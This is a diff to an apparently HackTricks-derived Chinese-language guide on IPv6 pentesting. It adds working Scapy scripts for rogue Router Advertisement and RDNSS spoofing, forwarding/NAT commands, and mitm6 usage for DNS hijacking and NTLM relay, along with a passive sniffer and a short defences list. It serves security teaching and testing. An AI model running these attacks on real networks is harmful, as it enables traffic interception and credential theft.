diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index cfdb1d82f..107cc1fe1 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -1,8 +1,10 @@ +# Pentesting IPv6 + {{#include ../../banners/hacktricks-training.md}} -# IPv6 基础理论 +## IPv6 基础理论 -## 网络 +### 网络 IPv6 地址的结构旨在增强网络组织和设备交互。IPv6 地址分为: @@ -10,7 +12,7 @@ IPv6 地址的结构旨在增强网络组织和设备交互。IPv6 地址分为 2. **子网 ID**:接下来的 16 位,用于定义网络内的特定子网。 3. **接口标识符**:最后 64 位,唯一标识子网内的设备。 -虽然 IPv6 省略了 IPv4 中的 ARP 协议,但引入了 **ICMPv6**,其主要消息有: +虽然 IPv6 省略了 IPv4 中的 ARP 协议,但引入了 **ICMPv6**,其主要消息有两个: - **邻居请求 (NS)**:用于地址解析的组播消息。 - **邻居通告 (NA)**:对 NS 的单播响应或自发公告。 @@ -36,23 +38,23 @@ ip neigh | grep ^fe80 # Alternatively, use alive6 for neighbor discovery alive6 eth0 ``` -IPv6 地址可以从设备的 MAC 地址派生,用于本地通信。以下是如何从已知的 MAC 地址派生链路本地 IPv6 地址的简化指南,以及对 IPv6 地址类型和在网络中发现 IPv6 地址的方法的简要概述。 +IPv6 地址可以从设备的 MAC 地址派生,用于本地通信。以下是如何从已知的 MAC 地址派生链路本地 IPv6 地址的简化指南,以及 IPv6 地址类型和在网络中发现 IPv6 地址的方法的简要概述。 -## **从 MAC 地址派生链路本地 IPv6** +### **从 MAC 地址派生链路本地 IPv6** 给定一个 MAC 地址 **`12:34:56:78:9a:bc`**,可以按如下方式构造链路本地 IPv6 地址: -1. 将 MAC 转换为 IPv6 格式:**`1234:5678:9abc`** -2. 在前面添加 `fe80::` 并在中间插入 `fffe`:**`fe80::1234:56ff:fe78:9abc`** -3. 反转左侧的第七位,将 `1234` 改为 `1034`:**`fe80::1034:56ff:fe78:9abc`** +1. 将 MAC 转换为 IPv6 格式: **`1234:5678:9abc`** +2. 在前面加上 `fe80::` 并在中间插入 `fffe`: **`fe80::1234:56ff:fe78:9abc`** +3. 反转左侧的第七位,将 `1234` 改为 `1034`: **`fe80::1034:56ff:fe78:9abc`** -## **IPv6 地址类型** +### **IPv6 地址类型** -- **唯一本地地址 (ULA)**:用于本地通信,不用于公共互联网路由。前缀:**`FEC00::/7`** -- **组播地址**:用于一对多通信。发送到组播组中的所有接口。前缀:**`FF00::/8`** +- **唯一本地地址 (ULA)**:用于本地通信,不用于公共互联网路由。前缀: **`FEC00::/7`** +- **组播地址**:用于一对多通信。发送到组播组中的所有接口。前缀: **`FF00::/8`** - **任播地址**:用于一对最近的通信。根据路由协议发送到最近的接口。属于 **`2000::/3`** 全球单播范围。 -## **地址前缀** +### **地址前缀** - **fe80::/10**:链路本地地址(类似于 169.254.x.x) - **fc00::/7**:唯一本地单播(类似于私有 IPv4 范围,如 10.x.x.x, 172.16.x.x, 192.168.x.x) @@ -60,14 +62,14 @@ IPv6 地址可以从设备的 MAC 地址派生,用于本地通信。以下是 - **ff02::1**:组播所有节点 - **ff02::2**:组播路由器节点 -## **在网络中发现 IPv6 地址** +### **在网络中发现 IPv6 地址** -### 方法 1:使用链路本地地址 +#### 方法 1:使用链路本地地址 1. 获取网络中设备的 MAC 地址。 2. 从 MAC 地址派生链路本地 IPv6 地址。 -### 方法 2:使用组播 +#### 方法 2:使用组播 1. 向组播地址 `ff02::1` 发送 ping,以发现本地网络上的 IPv6 地址。 ```bash @@ -75,37 +77,203 @@ service ufw stop # Stop the firewall ping6 -I ff02::1 # Send a ping to multicast address ip -6 neigh # Display the neighbor table ``` -## IPv6 中间人攻击 (MitM) +### IPv6 Man-in-the-Middle (MitM) Attacks -在 IPv6 网络中执行 MitM 攻击的几种技术包括: +在IPv6网络中执行MitM攻击的几种技术包括: -- 冒充 ICMPv6 邻居或路由器广告。 -- 使用 ICMPv6 重定向或“数据包过大”消息来操纵路由。 -- 攻击移动 IPv6(通常需要禁用 IPSec)。 -- 设置恶意 DHCPv6 服务器。 +- 冒充ICMPv6邻居或路由器广告。 +- 使用ICMPv6重定向或“数据包过大”消息来操纵路由。 +- 攻击移动IPv6(通常需要禁用IPSec)。 +- 设置恶意DHCPv6服务器。 -# 在领域中识别 IPv6 地址 +## Identifying IPv6 Addresses in the eild -## 探索子域 +### Exploring Subdomains -寻找可能与 IPv6 地址相关的子域的方法涉及利用搜索引擎。例如,使用查询模式 `ipv6.*` 可以有效。具体来说,可以在 Google 中使用以下搜索命令: +一种查找可能与IPv6地址相关的子域的方法是利用搜索引擎。例如,使用查询模式`ipv6.*`可能是有效的。具体来说,可以在Google中使用以下搜索命令: ```bash site:ipv6./ ``` -## 利用 DNS 查询 +### 利用 DNS 查询 要识别 IPv6 地址,可以查询某些 DNS 记录类型: -- **AXFR**:请求完整的区域传输,可能揭示广泛的 DNS 记录。 +- **AXFR**:请求完整的区域传输,可能会揭示广泛的 DNS 记录。 - **AAAA**:直接查找 IPv6 地址。 -- **ANY**:一个广泛的查询,返回所有可用的 DNS 记录。 +- **ANY**:广泛查询,返回所有可用的 DNS 记录。 -## 使用 Ping6 进行探测 +### 使用 Ping6 进行探测 在确定与组织相关的 IPv6 地址后,可以使用 `ping6` 工具进行探测。该工具有助于评估已识别的 IPv6 地址的响应能力,并可能帮助发现相邻的 IPv6 设备。 +## IPv6 本地网络攻击技术 + +以下部分涵盖可以在 **同一 /64 段内** 执行的实际层 2 IPv6 攻击,而无需知道任何全局前缀。下面显示的所有数据包都是 **链路本地** 的,仅通过本地交换机传输,使它们在大多数环境中极为隐蔽。 + +### 系统调优以实现稳定的实验室 + +在处理 IPv6 流量之前,建议对您的设备进行加固,以避免被自己的测试所污染,并在大规模数据包注入/嗅探期间获得最佳性能。 +```bash +# Enable promiscuous mode to capture all frames +sudo ip link set dev eth0 promisc on + +# Ignore rogue Router Advertisements & Redirects coming from the segment +sudo sysctl -w net.ipv6.conf.all.accept_ra=0 +sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 + +# Increase fd / backlog limits when generating lots of traffic +sudo sysctl -w fs.file-max=100000 +sudo sysctl -w net.core.somaxconn=65535 +sudo sysctl -w net.ipv4.tcp_tw_reuse=1 +``` +### 被动 NDP 和 DHCPv6 嗅探 + +因为每个 IPv6 主机 **自动加入多个多播组** (`ff02::1`, `ff02::2`, …) 并使用 ICMPv6 进行 SLAAC/NDP,你可以在不发送任何数据包的情况下映射整个段。以下 Python/Scapy 单行代码监听最有趣的 L2 消息,并打印出带有颜色和时间戳的日志,显示谁是谁: +```python +#!/usr/bin/env python3 +from scapy.all import * +from scapy.layers.dhcp6 import * +from datetime import datetime +from colorama import Fore, Style, init +import argparse + +init(autoreset=True) + +# Human-readable names for protocols we care about +DHCP6_TYPES = { +DHCP6_Solicit: 'Solicit', +DHCP6_Advertise: 'Advertise', +DHCP6_Request: 'Request', +DHCP6_Reply: 'Reply', +DHCP6_Renew: 'Renew', +DHCP6_Rebind: 'Rebind', +DHCP6_RelayForward:'Relay-Forward', +DHCP6_RelayReply: 'Relay-Reply' +} +ICMP6_TYPES = { +ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), +ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), +ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), +ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), +ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), +ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), +ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), +ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), +ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) +} + +def handler(pkt): +eth_src = pkt[Ether].src if Ether in pkt else '?' +eth_dst = pkt[Ether].dst if Ether in pkt else '?' +ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' +ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' + +# Identify protocol family first +for proto,(desc,color) in ICMP6_TYPES.items(): +if proto in pkt: +break +else: +if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port +for dhcp_t,name in DHCP6_TYPES.items(): +if dhcp_t in pkt: +desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break +else: +return # not a DHCPv6 message we track +else: +return # not interesting + +print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") +print(f" MAC {eth_src} -> {eth_dst}") +print(f" IPv6 {ip6_src} -> {ip6_dst}") +print('-'*60) + +if __name__ == '__main__': +argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') +argp.add_argument('-i','--interface',required=True,help='Interface to sniff') +argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') +a = argp.parse_args() +sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) +``` +结果:在几秒钟内生成一个完整的 **link-local topology** (MAC ⇄ IPv6),而不会触发依赖于主动扫描的 IPS/IDS 系统。 + +### 路由器广告 (RA) 欺骗 + +IPv6 主机依赖 **ICMPv6 Router Advertisements** 进行默认网关发现。如果你注入伪造的 RA **比合法路由器更频繁**,设备将默默地切换到你作为网关。 +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') +p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') +p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') +p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') +p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') +args = p.parse_args() + +lifetime = 0 if args.revert else args.lifetime +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference +ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +要在赢得竞赛后实际**转发流量**: +```bash +sudo sysctl -w net.ipv6.conf.all.forwarding=1 +sudo ip6tables -A FORWARD -i eth0 -j ACCEPT +sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +### RDNSS (DNS) 欺骗通过 RA + +[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) 允许在 RA 中添加 **递归 DNS 服务器 (RDNSS)** 选项。现代操作系统 (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) 自动信任它: +```python +#!/usr/bin/env python3 +from scapy.all import * +import argparse + +p = argparse.ArgumentParser() +p.add_argument('-i','--interface',required=True) +p.add_argument('--llip',required=True) +p.add_argument('--dns',required=True,help='Fake DNS IPv6') +p.add_argument('--lifetime',type=int,default=600) +p.add_argument('--interval',type=int,default=5) +args = p.parse_args() + +ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ +ICMPv6ND_RA(routerlifetime=0)/ +ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) + +send(ra,iface=args.interface,loop=1,inter=args.interval) +``` +客户将**预先添加**您的DNS到其解析器列表中,直到给定的生存时间结束,这将允许完全的DNS劫持,直到值过期或您发送`lifetime=0`还原。 + +### DHCPv6 DNS欺骗 (mitm6) + +与SLAAC不同,Windows网络通常依赖于**无状态DHCPv6**进行DNS。[mitm6](https://github.com/rofl0r/mitm6)自动回复`Solicit`消息,使用**广告 → 回复**流程,将**您的链路本地地址分配为DNS,持续300秒**。这解锁了: + +* NTLM中继攻击(WPAD + DNS劫持) +* 拦截内部名称解析而不触碰路由器 + +典型用法: +```bash +sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning +``` +### 防御 + +* **RA Guard / DHCPv6 Guard / ND Inspection** 在管理交换机上。 +* 仅允许合法路由器的 MAC 发送 RAs 的端口 ACL。 +* 监控 **不稳定的高频率 RAs** 或突然的 **RDNSS 变化**。 +* 在端点禁用 IPv6 是一种临时解决方法,通常会破坏现代服务并隐藏盲点 – 更倾向于 L2 过滤。 + ## 参考文献 +- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) +- [mitm6](https://github.com/rofl0r/mitm6) +- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)